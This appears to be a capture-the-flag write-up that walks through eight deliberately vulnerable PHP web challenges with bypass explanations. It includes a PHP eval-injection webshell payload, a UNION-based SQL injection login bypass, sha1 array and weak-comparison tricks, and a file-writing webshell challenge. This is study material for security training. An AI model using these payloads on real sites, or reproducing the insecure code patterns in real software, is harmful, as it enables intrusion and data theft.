challenge 1
Source code
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
<?php
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);
python script
import base64
import binascii
def strrev(string):
return string[::-1]
a="1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY="
b=binascii.a2b_hex(strrev(binascii.b2a_hex(base64.b64decode(a))))
print (b)
The binascii module is used for conversion between base and string. The
base64 module is used for base64 encoding and decoding
[::-1] inversion
challenge 2
Source code
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
The sleep () function is used to postpone the
strong conversion of the calling thread (int), which can be bypassed using scientific notation
challenge 3
Source code
<?php
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';
if(!$_GET['id'])
{
header('Location: challenge3.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
echo $flag;
}
else
{
print "work harder!harder!harder!";
}
?>
a-->
① There is no "." Or "." Before the beginning;
② $data = @file_get_contents($a,'r');1112 is a nice lab to write a in the string!
b-->
① Length is greater than five
② The first bit of intercepting b and 111 can be matched with 1114
③ The first bit of b is not 4.
id-->
①Not 0 or NULL (not empty)
②weak equal to 0
a: $ a = php: // input; post: 1112 is a nice lab!
b:% 00 truncation,% 00 truncation is effective for substr, not strlen (ie% 00 will not truncate strlen)
PHP weak type comparison, When the number is compared with the string equivalent, the string takes the effective number at the beginning, or 0 if not
challenge 4
Source code
<?php
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
Trojan configuration word
?hello=);eval($_POST[value]);%23
when var_dump ($ a); the result is:string(22) ");eval($_POST[value]);#"
eval("string(23) ");eval($_POST[value]);//"");
PHP will scan and calculate the string enclosed in double quotes, and the single quotes will be output as they are without calculation.
challenge 5
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
Sha1 cannot handle arrays, so it can be bypassed by constructing arrays, and the incoming result of the array is NULL
challenge 6
Source code
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("challenges") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pwd from interest where uname='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pwd"];
if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
Joint query injection vulnerability, construct username = -1'union select "md5 (123)" #, pass = 123
challenge 7
Source code
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
Before the flag is modified, the flag overlay
program execution order foreach ($ _GET as $ key => $ value) is executed before foreach ($ _POST as $ key => $ value), so foreach ($ _GET as $ key => $ value) Overwrite the flag
$$ key = $$ value See this, think of variable override
challenge 8
Source code
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
#需要GET一个变量c
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++)
{
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
#生成$length长度的随机字符串
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
#变量c不能含有$black_list数组中的元素
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
?>